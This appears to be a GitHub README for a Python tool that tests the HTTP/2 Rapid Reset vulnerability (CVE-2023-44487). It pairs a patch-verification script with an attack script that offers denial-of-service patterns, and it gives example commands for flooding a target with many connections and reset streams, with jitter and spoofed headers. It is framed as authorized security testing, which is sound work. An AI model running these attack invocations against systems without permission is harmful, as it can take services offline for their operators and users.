
A comprehensive Python testing tool for CVE-2023-44487, the HTTP/2 Rapid Reset vulnerability. This enhanced version provides granular control over testing parameters, multiple attack patterns, and advanced monitoring capabilities.
A comprehensive Python testing tool for CVE-2023-44487, the HTTP/2 Rapid Reset vulnerability. This repository contains both attack testing and verification-focused tools.
This tool is for educational and authorized testing purposes ONLY!
CVE-2023-44487, also known as "HTTP/2 Rapid Reset," is a critical vulnerability in the HTTP/2 protocol that allows attackers to:
CVSS Score: 7.5 (High)
Impact: Denial of Service, Resource Exhaustion
h2 library: pip install h2git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset
pip install h2
chmod +x *.py
python3 --version # Should be 3.7+
cve_2023_44487_verifier_enhanced.pyPurpose: Enforcement-signal detection for post-patch verification and compliance checking
# Basic verification
python3 cve_2023_44487_verifier_enhanced.py target.com
# Multiple concurrent connections
python3 cve_2023_44487_verifier_enhanced.py target.com -c 5 -s 500
# Verbose output with debugging
python3 cve_2023_44487_verifier_enhanced.py target.com -v -c 3 -s 1000
# Baseline test only (normal requests)
python3 cve_2023_44487_verifier_enhanced.py target.com --baseline-only
The script provides an intelligent verdict based on RFC 9113-compliant enforcement signals:
Server sends GOAWAY with ENHANCE_YOUR_CALM (0xb) error code
Classification: NOT VULNERABLE — protocol-layer enforcement is active
Meaning: HTTP/2 implementation has proper rate-limiting controls
50%+ of connections terminated via TCP reset
Classification: LIKELY PROTECTED — verify with edge/infrastructure team
Meaning: Edge appliance or DDoS protection engaged at transport layer
Per-second reset rate drops significantly over time (late buckets <60% of early)
Classification: PARTIAL PROTECTION — confirm with infrastructure team
Meaning: Server or edge slowing the attack adaptively
Server sends REFUSED_STREAM (0x7) responses
Classification: PARTIAL PROTECTION — review rate limits
Meaning: Some stream-level rate-limiting in place
No ENHANCE_YOUR_CALM GOAWAY, no TCP resets, no throttling detected
Classification: VECTOR EXERCISABLE — exploitability unconfirmed
Important: This doesn't prove DoS exploitability. Edge volumetric/behavioral
protections (Akamai, CloudFlare) may engage at higher scales
============================================================
ENFORCEMENT SIGNAL ANALYSIS
============================================================
Server SETTINGS (initial frame):
HEADER_TABLE_SIZE = 4096
ENABLE_PUSH = True
MAX_CONCURRENT_STREAMS = 128
INITIAL_WINDOW_SIZE = 65535
MAX_FRAME_SIZE = 16384
→ MAX_CONCURRENT_STREAMS=128 is conservative (good post-CVE default)
GOAWAY breakdown across connections:
ENHANCE_YOUR_CALM (0xb): 3/5
Other GOAWAY codes: 1/5
No GOAWAY received: 1/5
TCP reset (RST at transport): 0/5
Total RST_STREAM frames from server: 2
REFUSED_STREAM frames from server: 0
Connections showing adaptive throttling: 1/5
============================================================
VERDICT
============================================================
✅ ENFORCEMENT CONFIRMED
3/5 connection(s) received GOAWAY with ENHANCE_YOUR_CALM (0xb).
This is the canonical signal that the CVE-2023-44487 mitigation is active.
Classification: NOT VULNERABLE — protocol-layer enforcement is engaged.
# Verify patch deployment with 10 connections, 500 streams each
python3 cve_2023_44487_verifier_enhanced.py prod-api.example.com \
-c 10 \
-s 500 \
-d 0.0001 \
-v
# Test non-standard HTTPS port
python3 cve_2023_44487_verifier_enhanced.py example.com \
-p 8443 \
-c 5 \
-s 1000
# Minimal load compliance test
python3 cve_2023_44487_verifier_enhanced.py example.com \
-c 3 \
-s 200 \
--baseline-only
ENHANCE_YOUR_CALM (Error Code 0xb):
REFUSED_STREAM (Error Code 0x7):
Per-Second Reset Rate Analysis:
TCP RST at Transport Layer:
import asyncio
import subprocess
def run_verification(target: str, num_connections: int = 3):
cmd = [
'python3', 'cve_2023_44487_verifier_enhanced.py',
target,
'-c', str(num_connections),
'-s', '500',
'-v'
]
result = subprocess.run(cmd, capture_output=True, text=True)
# Parse verdict from output
if "ENFORCEMENT CONFIRMED" in result.stdout:
print(f"✅ {target} is protected")
return "protected"
elif "LIKELY PROTECTED" in result.stdout:
print(f"⚠️ {target} has edge-level protection")
return "edge_protected"
else:
print(f"❌ {target} shows no enforcement")
return "vulnerable"
# Run test
status = run_verification("example.com", 5)
#!/bin/bash
# Monitor critical services weekly
TARGETS="api.example.com web.example.com cdn.example.com"
LOG_DIR="/var/log/cve-2023-44487"
mkdir -p "$LOG_DIR"
for target in $TARGETS; do
python3 cve_2023_44487_verifier_enhanced.py "$target" \
-c 3 \
-s 500 \
-v > "$LOG_DIR/$target-$(date +%Y%m%d).log" 2>&1
done
rapid_reset_test.pyPurpose: Comprehensive HTTP/2 Rapid Reset attack testing with multiple patterns
python3 rapid_reset_test.py https://target-server.com
python3 rapid_reset_test.py https://target.com \
--connections 50 \
--requests 1000 \
--delay 0 \
--pattern rapid_reset \
--track-latency \
--output json
python3 rapid_reset_test.py https://target.com \
--pattern burst_reset \
--burst-size 5 \
--burst-delay 2.0 \
--custom-headers "User-Agent: Mozilla/5.0" \
--jitter 0.3
python3 rapid_reset_test.py https://target.com \
--window-size 32768 \
--frame-size 32768 \
--header-table-size 8192 \
--enable-push \
--priority-frames \
--randomize-streams
| Option | Description | Default |
|---|---|---|
--pattern TYPE | Attack pattern to use | rapid_reset |
Available Patterns:
rapid_reset - Standard rapid reset attackburst_reset - Burst-based attacksgradual_reset - Gradually increasing raterandom_reset - Random timingcontinuation_flood - CONTINUATION frame floodmixed_pattern - Mix of patternsAvailable Output Formats:
console - Human-readable console outputjson - Machine-readable JSONcsv - Spreadsheet-compatible CSVxml - Structured XML formatThe tool automatically assesses vulnerability:
"No module named 'h2'"
pip install h2
Connection refused / timeout
curl -I --http2 https://target.comImportError with h2 modules
pip install --upgrade h2
python3 --version # Must be 3.7+
Permission denied
chmod +x *.py
python3 cve_2023_44487_verifier_enhanced.py target.com
Enable verbose logging:
python3 cve_2023_44487_verifier_enhanced.py target.com -v
Test with minimal parameters:
python3 cve_2023_44487_verifier_enhanced.py target.com -s 10 -c 1
Verify HTTP/2 support:
python3 -c "import h2; print('h2 library OK')"
This repository is intended for cybersecurity professionals, researchers, and system administrators to test their own systems or systems they have explicit permission to test.
Key Legal Points:
Remember: With great power comes great responsibility. Use these tools ethically and legally.
This tool is provided under the MIT License. See LICENSE file for details.
| Option | Description | Default |
|---|
host | Target hostname (required) | - |
-p, --port | Target port | 443 |
--no-ssl | Disable SSL/TLS | False (SSL enabled) |
-s, --streams | Number of streams per connection | 1000 |
-d, --delay | Delay between stream operations (seconds) | 0.001 |
-c, --connections | Number of concurrent connections | 1 |
--baseline-only | Only perform baseline test (no attack) | False |
-v, --verbose | Verbose/debug output | False |
| Close Cause | Meaning |
|---|
goaway_enhance_your_calm | GOAWAY 0xb received (best indicator of CVE fix) |
goaway_* | GOAWAY with other error code |
tcp_reset | TCP RST received (edge-level intervention) |
broken_pipe / recv_error | Connection error during communication |
eof_no_goaway | Unexpected EOF without GOAWAY |
no_close_no_enforcement | Connection stayed open (no enforcement detected) |
| Option | Description | Default |
|---|
-c, --connections N | Number of concurrent connections | 1 |
--connection-timeout SEC | Connection timeout in seconds | 10 |
--read-timeout SEC | Read timeout for responses | 5 |
--connection-delay SEC | Delay between connections | 0.0 |
| Option | Description | Default |
|---|
-r, --requests N | Requests per connection | 100 |
--delay SEC | Delay between HEADERS and RST_STREAM | 0.001 |
--request-delay SEC | Delay between requests | 0.0 |
--jitter FACTOR | Timing randomization factor | 0.0 |
--burst-size N | Requests per burst | 10 |
--burst-delay SEC | Delay between bursts | 0.1 |
| Option | Description | Default |
|---|
--window-size BYTES | HTTP/2 initial window size | 65535 |
--frame-size BYTES | Maximum frame size | 16384 |
--header-table-size BYTES | HPACK header table size | 4096 |
--enable-push | Enable HTTP/2 server push | False |
--rst-error-code CODE | RST_STREAM error code | 8 |
| Option | Description | Default |
|---|
--output FORMAT | Output format | console |
--output-file FILE | Output filename | auto-generated |
--verbose, -v | Verbose output | False |
--debug | Debug logging | False |
--log-file FILE | Log to file | None |
| Use Case | Tool | Reason |
|---|
| Post-patch verification | cve_2023_44487_verifier_enhanced.py | Detects enforcement signals |
| Compliance checking | cve_2023_44487_verifier_enhanced.py | Validates CVE mitigation |
| Infrastructure assessment | cve_2023_44487_verifier_enhanced.py | Clear, actionable verdicts |
| Attack research | rapid_reset_test.py | Multiple attack patterns |
| Performance testing | rapid_reset_test.py | Comprehensive metrics |
| Custom patterns | rapid_reset_test.py | Granular configuration |